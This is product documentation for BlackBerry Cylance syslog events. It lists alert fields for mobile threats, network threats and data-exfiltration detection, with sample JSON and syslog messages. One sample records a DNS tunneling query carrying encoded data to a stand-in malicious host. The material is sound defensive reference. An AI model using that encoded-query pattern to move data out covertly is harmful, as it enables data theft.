	unsupportedOS: [OS name], [OS version]	The name and version of the supported OS that the CylancePROTECT Mobile app detected.
	unsupportedModel: [model name]	The name of the unsupported device model that the CylancePROTECT Mobile app detected.
	unsafeMessage: Malicious SMS OR Feature disabled by user	The CylancePROTECT Mobile app detected a text message with a potentially unsafe URL.
	compromisedNetwork: [Network_type]	The type of the potentially unsafe network that the CylancePROTECT Mobile app detected.
	insecureWiFi: [SSID] OR Feature disabled by user	The SSID of the potentially insecure Wi-Fi access point that the CylancePROTECT Mobile app detected.
	androidKnoxFailure: Android KNOX Attestation OR Feature disabled by user	Using Samsung Knox Enhanced Attestation, CylancePROTECT Mobile has identified a potential security issue with the user's device.
	developerMode: Developer mode is enabled	The CylancePROTECT Mobile app detected that developer mode is enabled on the user's device.
Alert Status	New	The mobile alert is not yet resolved.
	Resolved	The mobile alert is resolved.
Alert Type	maliciousApplication	The CylancePROTECT Mobile app detected a malicious app.
	sideLoadedApplication	The CylancePROTECT Mobile app detected a sideloaded app.

Field	Value	Description
	jailbrokenOrRooted	The CylancePROTECT Mobile app detected that the device is jailbroken or rooted.
	deviceEncryption	The CylancePROTECT Mobile app detected that encryption is not enabled on the device.
	deviceScreenlock	The CylancePROTECT Mobile app detected that a screen lock is not enabled on the device.
	iOsIntegrityFailure	The CylancePROTECT Mobile app failed an integrity check.
	androidSafetyNetFailure	The CylancePROTECT Mobile app failed a SafetyNet attestation check.
	androidHWFailure	The CylancePROTECT Mobile app failed hardware certificate attestation.
	unsupportedSecurityPatch	Based on the administrator configuration of the CylancePROTECT Mobile policy, the CylancePROTECT Mobile app detected an unsupported security patch.
	unsupportedOS	Based on the administrator configuration of the CylancePROTECT Mobile policy, the CylancePROTECT Mobile app detected that the device has an unsupported OS.
	unsupportedModel	Based on the administrator configuration of the CylancePROTECT Mobile policy, the CylancePROTECT Mobile app detected that the device is an unsupported model.
	unsafeMessage	The CylancePROTECT Mobile app detected a text message with a potentially unsafe URL.
	compromisedNetwork	The CylancePROTECT Mobile app detected a potentially unsafe network.
	insecureWiFi	The CylancePROTECT Mobile app detected a potentially insecure Wi-Fi access point.

Field	Value	Description
	androidKnoxFailure	Using Samsung Knox Enhanced Attestation, CylancePROTECT Mobile has identified a potential security issue with the user's device.
	developerMode	The CylancePROTECT Mobile app detected that developer mode is enabled on the user's device.
Application Sha256	[SHA256 hash]	This is the SHA256 hash of a malicious or sideloaded Android app that the CylancePROTECT Mobile app detected.
Application Name	[app name]	This is the name of a malicious or sideloaded Android app that the CylancePROTECT Mobile app detected.
Attestation Rule Failure	[attestation rules]	These are the rules that failed when an attestation check occurred for the CylancePROTECT Mobile app.
Attestation State	[attestation state]	This is the attestation state of the CylancePROTECT Mobile app.
Attestation SubType	[attestation sub-type]	This is the sub-type of the attestation check for the CylancePROTECT Mobile app.
Attestation Type	[attestation type]	This is the type of the attestation check for the CylancePROTECT Mobile app.
Description	maliciousApplication: [package name], [package version], [SHA256 hash]	These are the details of the malicious app that was detected.
	sideLoadedApplication for Android: [package name], [package version], [installer source], [SHA256 hash]	These are the details of the sideloaded app that was detected.
	sideLoadedApplication for iOS: empty string	This field is not supported for iOS.
	jailbrokenOrRooted: [OS name], [OS version]	This is the OS name and version of the jailbroken or rooted device.
	deviceEncryption: [OS name], [OS version]	This is the OS name and version of the device that does not have encryption enabled.

Field	Value	Description
	deviceScreenlock: [OS name], [OS version]	This is the OS name and version of the device that does not have a screen lock enabled.
	iOsIntegrityFailure: [attestation type], [attestation state]	These are the details of the failed iOS integrity check.
	androidSafetyNetFailure: [attestation type]	These are the details of the failed SafetyNet attestation check.
	androidHWFailure: [attestation type], [attestation state], [rule failure]	These are the details of the failed hardware certificate attestation.
	unsupportedOS: [OS name], [OS version]	This is the OS name and version of the device with an unsupported OS.
	unsafeMessage: [list of URLs]	The list of potentially unsafe URLs that were detected.
	compromisedNetwork: [SSID]	The SSID of the potentially unsafe network.
	insecureWiFi: [Wi-Fi access algorithms]	The Wi-Fi access algorithms of the potentially insecure access point.
	androidKnoxFailure: Knox, Device Failure	Using Samsung Knox Enhanced Attestation, CylancePROTECT Mobile has identified a potential security issue with the user's device.
	developerMode: [OS name], [OS version]	The name and version of the device OS on which developer mode has been detected.
Detected	[varies]	This is the date and time the alert was detected.
Device Id	[varies]	This is the unique ID of the user’s device.
Device Model	[model]	This is the model of the user's mobile device.
Device Name	[varies]	This is the name of the user’s mobile device.
Event Type	MobileAlert	This is the defined event type for mobile alerts.

Field	Value	Description
Event Name	ProtectMobileAlert	This is the defined event name for mobile alerts.
First Name	[varies]	This is the first name of the device user.
Installer Source	[package name]	This is the package name of a sideloaded Android app that the CylancePROTECT Mobile app detected.
Last Name	[varies]	This is the last name of the device user.
Malicious URLs	[URLs]	This is the list of potentially unsafe URLs detected in a text message.
Network Type	[network type]	This is the type of a potentially unsafe network.
Os Name	[OS name]	This is the OS of the device.
Os Version	[OS version]	This is the device's OS version.
Package Name	[package name]	This is the package name of a malicious or sideloaded Android app that the CylancePROTECT Mobile app detected.
Package Version	[package version]	This is the package version of a malicious or sideloaded Android app that the CylancePROTECT Mobile app detected.
Signing Identity	[signing ID]	This is the signing ID of a sideloaded iOS app that the CylancePROTECT Mobile app detected.
Signing Identity Sha256	[signing ID hash]	This is the signing ID hash of a sideloaded iOS app that the CylancePROTECT Mobile app detected.
Ssid	[SSID]	This is the SSID of a potentially unsafe network.

Example syslog message

```
May 31 17:34:04 sysloghost CylancePROTECT Event Type: MobileAlert,
 Event Name: ProtectMobileAlert, Alert Type: sideLoadedApplication,
 Alert Name: Protect, Description: com.blackberry.protect,
```

```
 1.4.397 (Installer Source: com.google.android.packageinstaller),
 1234ABCD5678EFGH1234ABCD5678EFGH1234ABCD5678EFGH1234ABCD5678EFGH, Detected:
 5/31/2021 2:32:12 PM, Alert Status: New, Device Name: Galaxy S9 SM-G960F,
 First Name: John, Last Name: Smith, Device Id: 1abc2345-67d8-9123-45ef-
g45hi67j8kl9, Alert Id: a1b23456-789c-12d3-e45f-g6h7i8jk9123, Application Sha245:
 1234ABCD5678EFGH1234ABCD5678EFGH1234ABCD5678EFGH1234ABCD5678EFGH, Application
 Name: Protect, Installer Source: com.google.android.packageinstaller, Package
 Name: com.blackberry.protect, Package Version: 1.4.397
```

CylanceGATEWAY event types

If CylanceGATEWAY is enabled for your organization, you can choose to send the alerts it detects to your organization's syslog server. This section provides details about the network threat events that are sent to the syslog server.

CylanceGATEWAY network events

This option is visible only if CylanceGATEWAY is enabled. When this option is turned on, the events it detects are sent to your organization's syslog server.

Field	Value	Description
Tenant	string	This is the Cylance Endpoint Security tenant associated with the endpoint.
User Eco Id	[varies]	This is the user's EcoID, if available.
Event Name	Blocked Connection Allowed Connection	This is the defined event name for network alerts: • Allowed connections: A detection happened and a syslog event was generated, but the connection was allowed based on the applied risk criteria. • Blocked connections: A detection happened and a syslog event was generated, and the connection was blocked based on the applied risk criteria.
Event Type	NetworkThreat	This is the defined event type for network alerts.
Message	[varies]	This is the message contains information related to the event, in JSON string format.
Source	big.blackberry.com	This is the BlackBerry product generating the event.
Timestamp	[varies]	This is the date and time the event occurred.

Message descriptions

Field	Value	Description
tenantId	string	This is the Cylance Endpoint Security tenant associated with the endpoint.
action	string	This is the action performed against this traffic. This is unique to the associated event.

Field	Value	Description
alertType	string	This is the alert type associated with the event. The alert types determine when a syslog event is generated. The supported types are: • ipReputation - event triggered due to destination risk • signature - event triggered due to inspection of packets • dnsTunnelling - event triggered by analysis of DNS traffic between the client and DNS servers • accessControl - event triggered due to user's network access rules • zeroDay - event triggered due to newly identified malicious destinations that have not been identified previously. After they are identified, these destinations are assigned a risk score. They are subsequently blocked or alerted upon based on the risk level that you set for your network protection. When they are blocked or alerted upon, they will display as ipReputation alerts in your organization's syslog server. For more information, see Configure network protection settings.
ipRepRisk	string	This is the destination risk associated with the event. The supported risk levels are: • High • Medium • Low
ipRepContext	string	This identifies whether the IP reputation alert was triggered by identifying a malicious IP address or FQDN. The following values are supported: • IP • FQDN
signature	string	These are the Packet Inspection Rule details of the identified network threat, if applicable.
threatDetails	string	This is the Packet Inspection Rule category of the identified network threat, if applicable. This threat detail only applies to the signature alertType.
policyName	string	This is the name of the user's policy that triggered the event, if applicable.
appName	string	This is the name of the application or network service associated with the blocked event, if applicable.

Field	Value	Description
mitre	string	This is the MITRE information related to the event. Additional details are provided below. • techniqueId: The MITRE technique ID • techniqueName: The MITRE technique name • tacticId: The MITRE tactic ID • tacticName: The MITRE tactic name • mid: The MITRE mitigation technique ID • aptGid: The MITRE associated APT group ID
dnsTunnellingNameServer	string	A DNS query to this DNS server generated a DNS tunneling alert.
dnsTunnellingScore	string	This is the confidence level of a DNS tunneling alert. The following levels are supported: • High • Medium • Low
endpointId	string	This is the CylanceGATEWAY installation ID of the endpoint as it is registered in UES.
venueEndpointId	string	This is the ID of the CylancePROTECT Desktop service if it is installed on the same device.
dOsVers	string	This is the OS version of the device.
dId	string	This is the UES ID of the device.
dPlat	string	This is the platform of the device.
dManuf	string	This is the manufacturer of the device.
dModel	string	This is the model of the device.
dHostName	string	This is the hostname of the device.
flowId	int	This is the ID of the CylanceGATEWAY access control engine flow that this event is associated with.
correlationId	string	This is the correlation ID assigned to the event.
sourceIp	string	This is the packet source IP address.
sourcePort	string	This is the packet source port.

Field	Value	Description
dstAddress	string	This is the destination address, either the FQDN or the IP address (IPv4 or IPv6) of the IP packet that triggered the event. Use the *ipRepContext* field determine whether the field value is an IP address or FQDN.
estPort	string	This is the packet destination port.
protocol	string	This is the protocol used to transit the packet.
endpointIp	string	This is the public source IP associated with the endpoint. This IP is assigned by the network itself.
egressIp	string	This is the egress IP.
category	string	This is the network traffic category description associated with the destination.
subCategory	string	This is the network traffic subCategory description associated with the destination.

Example syslog message - Access control policy (blocked)


```
{
  "name": "blocked connection",
  "userEcoId": "AkFgfsBTmGVatwDR8RiYV6U=",
  "tenantId": "L00000000",
  "type": "NetworkThreat",
  "source": "big.blackberry.com",
  "timestamp": "2022-03-29T13:30:30.199348+0000",
  "message": "{\"ipRepRisk\":\"\",\"ipRepContext\":\"\",\"flowid
\":2138936830200500,\"correlationId\":\"684c4696-9ba2-48a4-87fe-4203339d4460\",
\"dId\":\"d1a365f6-b96a-4a8b-870a-6255d0ce8904\",\"endpointId\":
\"0598fe72-67cc-44d0-a738-8a7af0afd6b8\",\"dManuf\":\"Example,Inc.\",\"dPlat
\":\"Windows\",\"endpointIp\":\"208.65.74.38:53047\",\"dnsTunnellingNameServer
\":\"\",\"key\":\"\",\"dstAddress\":\"go.microsoft.com\",\"policyName\":
\"[ACL_AUTO]BlockOffice365\",\"dOsVers\":\"Windows10Enterprise1909\",\"tenantId\":
\"L00000000\",\"sourcePort\":63162,\"mitreData\":\"\",\"dnsTunnellingScore\":\"\",
\"action\":\"blocked\",\"signature\":\"AccessControlBlocked-DNS\",\"sourceIp\":
\"10.48.0.5\",\"alertType\":\"accessControl\",\"dModel\":\"ExampleVirtualPlatform
\",\"destPort\":53,\"category\":\"Computer and Information Technnology\",
\"venueEndpointId\":\"aba3204a-ee4a-403e-a6d7-59da1effe188\",\"threatDetails\":
\"\",\"subCategory\":\"Information Technology\",\"appName\":\"\",\"protocol\":
\"UDP\",\"dHostName\":\"test.rim.net\"}"
}
```


Example syslog message - Signature detection (blocked)


```
{
  "name": "blocked connection",
  "userEcoId": "AkFgfsBTmGVatwDR8RiYV6U=",
  "tenantId": "L00000000",
  "type": "NetworkThreat",
```

```
  "source": "big.blackberry.com",
  "timestamp": "2022-03-29T13:55:26.966461+0000",
  "message": "{\"ipRepRisk\":\"\",\"ipRepContext\":\"\",\"flowId
\":1929920197345085,\"correlationId\":\"46a19072-df9f-41c9-850b-4495bcc1cff1\",
\"dId\":\"a71c03d3-5f31-4c1a-bdf2-1e4caaf6f773\",\"endpointId\":
\"e5d72a88-8388-4fdf-9359-1bf1e12981b1\",\"dManuf\":\"Example,Inc.\",\"dPlat\":
\"Windows\",\"endpointIp\":\"172.29.135.161:34341\",\"dnsTunnellingNameServer\":
\"\",\"key\":\"\",\"dstAddress\":\"www.tiktok.com\",\"policyName\":\"AllowPublic
\",\"dOsVers\":\"Windows10Pro20H2\",\"tenantId\":\"L00000000\",\"sourcePort
\":54189,\"mitreData\":{\"mitre\":{\"techniqueName\":\"Encrypted_Channel\",
\"tacticId\":\"TA555\",\"tacticName\":\"Command_And_Control\",\"techniqueId\":
\"T555\"}},\"dnsTunnellingScore\":\"\",\"action\":\"blocked\",\"signature\":
\"Test3rdpartyDNSQueryfor.toTLD(tp/internal-sources-reject/internal-sources-
reject/555)\",\"sourceIp\":\"10.48.0.7\",\"alertType\":\"signature\",\"dModel
\":\"ExampleVirtualPlatform\",\"destPort\":53,\"category\":\"Security Risk\",
\"venueEndpointId\":\"3c5c5130-a89b-4f41-924a-52faa3fa8bc0\",\"threatDetails\":
\"PotentiallyBadTraffic\",\"subCategory\":\"Potentially Harmful\",\"appName\":
\"\",\"protocol\":\"UDP\",\"dHostName\":\"test.rim.net\"}"
}
```


Example syslog message - Signature detection (allowed)


```
{
  "name": "allowed connection",
  "userEcoId": "ArJfeKlfhWkZvA54lE6CGz8=",
  "tenantId": "L00000000",
  "type": "NetworkThreat",
  "source": "big.blackberry.com",
  "timestamp": "2022-03-29T14:04:48.847396+0000",
  "message": "{\"ipRepRisk\":\"\",\"ipRepContext\":\"\",\"flowId
\":1845277166201374,\"correlationId\":\"cc1c64f0-1102-4118-b9bb-8cd9674cb54f
\",\"dId\":\"f265243e-8fe9-492f-9033-1311acc5a7c8\",\"endpointId\":
\"ce480862-358f-4b92-8917-d5db3d02be71\",\"dManuf\":\"BlackBerry\",\"dPlat
\":\"Windows\",\"endpointIp\":\"192.0.2.0:53406\",\"dnsTunnellingNameServer
\":\"\",\"key\":\"\",\"dstAddress\":\"www.tiktok.com\",\"policyName\":
\"AllowPublic\",\"dOsVers\":\"5.6.7\",\"tenantId\":\"L00000000\",\"sourcePort
\":41808,\"mitreData\":{\"mitre\":{\"techniqueName\":\"Encrypted_Channel\",
\"tacticId\":\"TA555\",\"tacticName\":\"Command_And_Control\",\"techniqueId\":
\"T555\"}},\"dnsTunnellingScore\":\"\",\"action\":\"allowed\",\"signature\":
\"Test3rdpartyDNSQueryfor.toTLD(tp/internal-sources-reject/internal-sources-
reject/555)\",\"sourceIp\":\"192.0.2.20\",\"alertType\":\"signature\",\"dModel
\":\"TestTool\",\"destPort\":53,\"category\":\"Security Risk\",\"venueEndpointId
\":\"venue_9876\",\"threatDetails\":\"PotentiallyBadTraffic\",\"subCategory
\":\"Potentially Harmful\",\"appName\":\"\",\"protocol\":\"UDP\",\"dHostName
\":test.example.com\"}"
}
```


Example syslog message - IP reputation (blocked)


```
{
  "name": "blocked connection",
  "userEcoId": "AkFgfsBTmGVatwDR8RiYV6U=",
  "tenantId": "L00000000",
  "type": "NetworkThreat",
  "source": "big.blackberry.com",
  "timestamp": "2022-03-29T13:39:49.806287+0000",
  "message": "{\"ipRepRisk\":\"high\",\"ipRepContext\":\"fqdn\",\"flowId
\":176248481729935,\"correlationId\":\"8afbcc93-2840-4de1-9495-f09ddeac5d1b
\",\"dId\":\"e2c3cde5-9b09-4fcd-9a26-6a9a5fe3e209\",\"endpointId\":\"a81ad01b-
e900-4205-8520-4595fcfd6ec1\",\"dManuf\":\"Example,Inc.\",\"dPlat\":\"Windows
```

```
\",\"endpointIp\":\"192.0.2.0:38294\",\"dnsTunnellingNameServer\":\"\",
\"key\":\"\",\"dstAddress\":\"192.0.2.24\",\"policyName\":\"AllowPublic\",
\"dOsVers\":\"Windows10Enterprise1909\",\"tenantId\":\"L00000000\",\"sourcePort
\":53845,\"mitreData\":\"\",\"dnsTunnellingScore\":\"\",\"action\":\"blocked\",
\"signature\":\"AccessControlBlocked\",\"sourceIp\":\"192.0.2.20\",\"alertType\":
\"ipReputation\",\"dModel\":\"ExampleVirtualPlatform\",\"destPort\":443,\"category
\":\"Security Risk\",\"venueEndpointId\":\"aba3204a-ee4a-403e-a6d7-59da1effe188\",
\"threatDetails\":\"\",\"subCategory\":\"Potentially Harmful\",\"appName\":\"\",
\"protocol\":\"TCP\",\"dHostName\":test.example.com\"}"
}
```


Example syslog message - IP reputation (allowed)


```
{
  "name": "allowed connection",
  "userEcoId": "AvaMzjb9wimmDicB9+g8eQU=",
  "tenantId": "L00000000",
  "type": "NetworkThreat",
  "source": "big.blackberry.com",
  "timestamp": "2022-03-29T13:45:03.924052+0000",
  "message": "{\"ipRepRisk\":\"medium\",\"ipRepContext\":\"fqdn\",\"flowId
\":668552686147988,\"correlationId\":\"b515fbdf-d5f2-4204-a8ee-c8b094a53908\",
\"dId\":\"709f5d7c-8bad-45ea-b5d8-b569e9292491\",\"endpointId\":\"09be30f0-
a764-458e-ade2-0c87487e6de1\",\"dManuf\":\"BlackBerry\",\"dPlat\":\"Windows
\",\"endpointIp\":\"172.29.135.161:54393\",\"dnsTunnellingNameServer\":\"\",
\"key\":\"\",\"dstAddress\":\"178.175.31.230\",\"policyName\":\"AllowPublic\",
\"dOsVers\":\"5.6.7\",\"tenantId\":\"L00000000\",\"sourcePort\":41988,\"mitreData
\":\"\",\"dnsTunnellingScore\":\"\",\"action\":\"allowed\",\"signature\":
\"AccessControlAllowed-ConnectionAttempt\",\"sourceIp\":\"10.48.0.6\",\"alertType
\":\"ipReputation\",\"dModel\":\"TestTool\",\"destPort\":443,\"category\":
\"Security Risk\",\"venueEndpointId\":\"venue_9876\",\"threatDetails\":\"\",
\"subCategory\":\"Malware\",\"appName\":\"\",\"protocol\":\"TCP\",\"dHostName\":
\"test.rim.net\"}"
}
```


Example syslog message - DNS Tunneling


```
{
  "name": "dnsTunneling connection",
  "userEcoId": "Aiq2A2vxJQKuPDyqrU/BQBk=",
  "tenantId": "L00000000",
  "type": "NetworkThreat",
  "source": "big.blackberry.com",
  "timestamp": "2022-02-22T13:47:33.945670+0000",
  "message": "{\"ipRepRisk\":\"\",\"ipRepContext\":\"\",\"flowId
\":884470825841375,\"correlationId\":\"d8ab0341-6177-4fc5-88f5-0ce3f3fd3901\",
\"dId\":\"16be1f36-2f04-4de7-9a19-3dd4fbcdf14f\",\"endpointId\":
\"bab0fb44-bf67-4491-8f7d-07cf11d6e32e\",\"dManuf\":\"Example, Inc.
\",\"dPlat\":\"Windows\",\"endpointIp\":\"172.29.133.168:43960\",
\"dnsTunnellingNameServer\":\"192.12.94.30\",\"key\":\"\",\"dstAddress\":
\"056c03240f000000001dcd70c88c2eea129b70a7513c4f1763799e670db8.2954ad5e62dcbe3e5b
83d26e3f9c2430e59d3c9810f58e84ad26ced48770.917a4f5206269bc8358c8072b3
.reallyevilsite.com\",\"policyName\":\"\",\"dOsVers\":\"Windows 10 Enterprise
 2009\",\"tenantId\":\"L00000000\",\"sourcePort\":53966,\"mitreData\":
\"\",\"dnsTunnellingScore\":\"low\",\"action\":\"allowed\",\"signature\":
\"\",\"sourceIp\":\"10.10.10.2\",\"alertType\":\"dnsTunneling\",\"dModel\":
\"Example Virtual Platform\",\"destPort\":53,\"category\":\"Security Risk\",
\"venueEndpointId\":\"7340ccd2-f167-4a7e-873b-6ec4c9f4cfd8\",\"threatDetails\":
\"\",\"subCategory\":\"DNS Tunneling\",\"appName\":\"\",\"protocol\":\"UDP\",
\"dHostName\":\"test.rim.net\"}"
```

```
}
```

Example syslog message - zeroDay

```
{
   "userEcoId":"Aj4aHPPwY4kzTYJPZpfETW4=",
   "tenantId":"V00000000",
   "type":"NetworkThreat",
   "name":"allowed connection",
   "source":"big.blackberry.com",
   "timestamp":"2021-06-28T18:38:28.453738+0000
   "message":"{\"sourcePort\":42828,\"alertType\":\"zeroDay\",\"dModel\":
\"TestTool\",\"dOsVers\":\"5.6.7\",\"action\":\"allowed\",\"appName\":\"\",
\"flowId\":3367092445552440,\"protocol\":\"TLS\",\"tenantId\":\"V00000000\",
\"threatDetails\":\"\",\"dnsTunnellingScore\":\"\",\"destPort\":443,\"dstAddress
\":\"13.234.212.19\",\"venueEndpointId\":\"venue_9876\",\"sourceIp\":
\"10.10.12.2\",\"endpointId\":\"1f3a651f-12aa-402c-a6e3-ca62b3cea0c7\",\"key\":
\"\",\"endpointIp\":\"172.29.132.27:58313\",\"mitreData\":\"\",\"ipRepRisk\":
\"High\",\"correlationId\":\"5e4ac53c-2565-4532-95dd-59b5b5ba4875\",\"category\":
\"Security Risk\",\"policyName\":\"\",\"subCategory\":\"Unauthorized Marketplace
\",\"dnsTunnellingNameServer\":\"\",\"dId\":\"venue_9876\",\"signature\":\"\",
\"dPlat\":\"Windows\",\"dManuf\":\"BlackBerry\,"\"dHostName\":\"test.rim.net\"}"
"
}
```

CylanceAVERT event types

If CylanceAVERT is enabled for your organization, you can choose to send the alerts that are detected by the agent on users' devices to your organization's syslog server. This section provides details about the mobile alert events that are sent to the syslog server.

CylanceAVERT events

This option is visible only if CylanceAVERT is enabled. When this option is turned on, the events that are detected by the agent on users' devices are sent to your organization's syslog server.

Field	Value	Description
Tenant	String	This is the Cylance Endpoint Security tenant associated with the endpoint.
Event Type	AvertEvent	This is the defined event type for data exfiltration alerts.
Event name	Data Exfiltration Event	This is the defined event name for data exfiltration alerts.
Eco ID	[varies]	This is the user's EcoID, if available.
Timestamp	[varies]	This is the date and time the event occurred.
Source	com.blackberry.dlp	This is the BlackBerry product generating the event.
Username	[varies]	This is the username associated with the event, if available.
User Email	[varies]	This is the email of the user associated with the event, if available.
User Title	[varies]	This is the title of the user associated with the event, if available.
User Department	[varies]	This is the department of the user associated with the event, if available.
Container ID	Device ID	This is the Device ID for the Desktop client
Client Version	[varies]	This is the CylanceAVERT capability version.
Device Name	[varies]	This is the name of the device associated with the data exfiltration event.

Field	Value	Description
Client Type	[varies]	This is the type of client associated with the data exfiltration event: • Unknown • Dynamics • Spark • Desktop
Device OS	[varies]	This is the operating system of the device: • Windows • MacOS • iOS • Android
Version of OS	[varies]	This is the version of the operating system on the device.
Policy Names	[varies]	This is a list of the policy names that triggered the event. This list can contain 1 or more policy names.
Activity Type	Browser upload	The file was exfiltrated through a browser upload.
	Email send	The file was exfiltrated through the content of an email message.
	File transfer	The file was exfiltrated in the attachment of an email message.
	Copy to	The file was exfiltrated by copying the file to a USB device.
Locations	[varies]	This is the location that exfiltrated file was sent to: • Browser domain: This is the domain of the browser that the file was uploaded to. • Email domain: This is the email domain or domains that the file was sent to. • USB name: This is the name of the USB device that the file was uploaded to. • Network location: This is the name of the network drive that the file was uploaded to.
Email Subject	[varies]	This is the subject of the email that the file was sent to.
File Info	[varies]	This is the SHA256 hash and the file type of the file that was exfiltrated.
Data Types	[varies]	These are the data type names that were involved in the event. For more information on data types, see Specifying sensitive data types.

Example Syslog Message:

```
Sep 02 15:04:59 sysloghost CylancePROTECT Event Type: InfoProtectEvent,
 Event Name: InfoProtectEvent, Eco Id: Am6XZ102mlPgFzI/N8mjANP4=, User: John
 Smith (jsmith@example.com), User Name: jsmith, Message: {"common": { "id":
 "a15e547f-a13f-4f0f-888a-888650702cdf", "tenantId": "L1234564", "occurred":
 "2021-08-10T16:17:09Z", "traceId": "ab59fe31", "spanId": "d89e3ab", "source":
 "com.blackberry.dlp", "type": "ALERT", "category": "Exfiltration", "subcategory":
 "Email", "message": "Email Exfiltration Detected" }, "user": { "id": "a15e547f-
a13f-4f0f-888a-888650702cdf", "ecoId": "Am6XZ102mlPgFzI/N8mjANP4=", "displayName":
 "JSmith", "email":jsmith@example.com, "title": "Engineer", "department":
 "Engineering" }, "device": { "id" : "a15e547f-a13f-4f0f-888a-888650702cdf",
 "osFamily": "Windows", "osVersion": "10.7.0" }, "endpoint": { "id" : "a15e547f-
a13f-4f0f-888a-888650702cdf", "version": "10.7.0", "name": "jsmith Desktop",
 "type": "DESKTOP" }, "files": [ { "sha256": "asfafsdfdsfsf", "type": "doc"},
 { "sha256": "hdfbbhjhgjghn", "type": "pdf"} ], "profiles" : [ {"id": "a15e547f-
a13f-4f0f-888a-888650702cdf", "type": "PROFILE", "displayName": "HIPAA"}, {"id":
 "b15d547f-a13f-4f0f-888a-888650702cdf", "type": "PROFILE", "displayName":
 "Finance"} ], "locations" : ["blackberry.com", "example.com"], "dataEntityNames":
 ["Credit card numbers", "Age", "SSN"], "emailSubject": "Architecture Change"}
```

Legal notice

WERE FORESEEN OR UNFORESEEN, AND EVEN IF BLACKBERRY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW IN YOUR JURISDICTION, BLACKBERRY SHALL HAVE NO OTHER OBLIGATION, DUTY, OR LIABILITY WHATSOEVER IN CONTRACT, TORT, OR OTHERWISE TO YOU INCLUDING ANY LIABILITY FOR NEGLIGENCE OR STRICT LIABILITY.

THE LIMITATIONS, EXCLUSIONS, AND DISCLAIMERS HEREIN SHALL APPLY: (A) IRRESPECTIVE OF THE NATURE OF THE CAUSE OF ACTION, DEMAND, OR ACTION BY YOU INCLUDING BUT NOT LIMITED TO BREACH OF CONTRACT, NEGLIGENCE, TORT, STRICT LIABILITY OR ANY OTHER LEGAL THEORY AND SHALL SURVIVE A FUNDAMENTAL BREACH OR BREACHES OR THE FAILURE OF THE ESSENTIAL PURPOSE OF THIS AGREEMENT OR OF ANY REMEDY CONTAINED HEREIN; AND (B) TO BLACKBERRY AND ITS AFFILIATED COMPANIES, THEIR SUCCESSORS, ASSIGNS, AGENTS, SUPPLIERS (INCLUDING AIRTIME SERVICE PROVIDERS), AUTHORIZED BLACKBERRY DISTRIBUTORS (ALSO INCLUDING AIRTIME SERVICE PROVIDERS) AND THEIR RESPECTIVE DIRECTORS, EMPLOYEES, AND INDEPENDENT CONTRACTORS.

IN ADDITION TO THE LIMITATIONS AND EXCLUSIONS SET OUT ABOVE, IN NO EVENT SHALL ANY DIRECTOR, EMPLOYEE, AGENT, DISTRIBUTOR, SUPPLIER, INDEPENDENT CONTRACTOR OF BLACKBERRY OR ANY AFFILIATES OF BLACKBERRY HAVE ANY LIABILITY ARISING FROM OR RELATED TO THE DOCUMENTATION.

Prior to subscribing for, installing, or using any Third Party Products and Services, it is your responsibility to ensure that your airtime service provider has agreed to support all of their features. Some airtime service providers might not offer Internet browsing functionality with a subscription to the BlackBerry® Internet Service. Check with your service provider for availability, roaming arrangements, service plans and features. Installation or use of Third Party Products and Services with BlackBerry's products and services may require one or more patent, trademark, copyright, or other licenses in order to avoid infringement or violation of third party rights. You are solely responsible for determining whether to use Third Party Products and Services and if any third party licenses are required to do so. If required you are responsible for acquiring them. You should not install or use Third Party Products and Services until all necessary licenses have been acquired. Any Third Party Products and Services that are provided with BlackBerry's products and services are provided as a convenience to you and are provided "AS IS" with no express or implied conditions, endorsements, guarantees, representations, or warranties of any kind by BlackBerry and BlackBerry assumes no liability whatsoever, in relation thereto. Your use of Third Party Products and Services shall be governed by and subject to you agreeing to the terms of separate licenses and other agreements applicable thereto with third parties, except to the extent expressly covered by a license or other agreement with BlackBerry.

The terms of use of any BlackBerry product or service are set out in a separate license or other agreement with BlackBerry applicable thereto. NOTHING IN THIS DOCUMENTATION IS INTENDED TO SUPERSEDE ANY EXPRESS WRITTEN AGREEMENTS OR WARRANTIES PROVIDED BY BLACKBERRY FOR PORTIONS OF ANY BLACKBERRY PRODUCT OR SERVICE OTHER THAN THIS DOCUMENTATION.

BlackBerry Enterprise Software incorporates certain third-party software. The license and copyright information associated with this software is available at http://worldwide.blackberry.com/legal/thirdpartysoftware.jsp.

BlackBerry Limited
2200 University Avenue East
Waterloo, Ontario
Canada N2K 0A7

BlackBerry UK Limited
Ground Floor, The Pearce Building, West Street,
Maidenhead, Berkshire SL6 1RL
United Kingdom

Published in Canada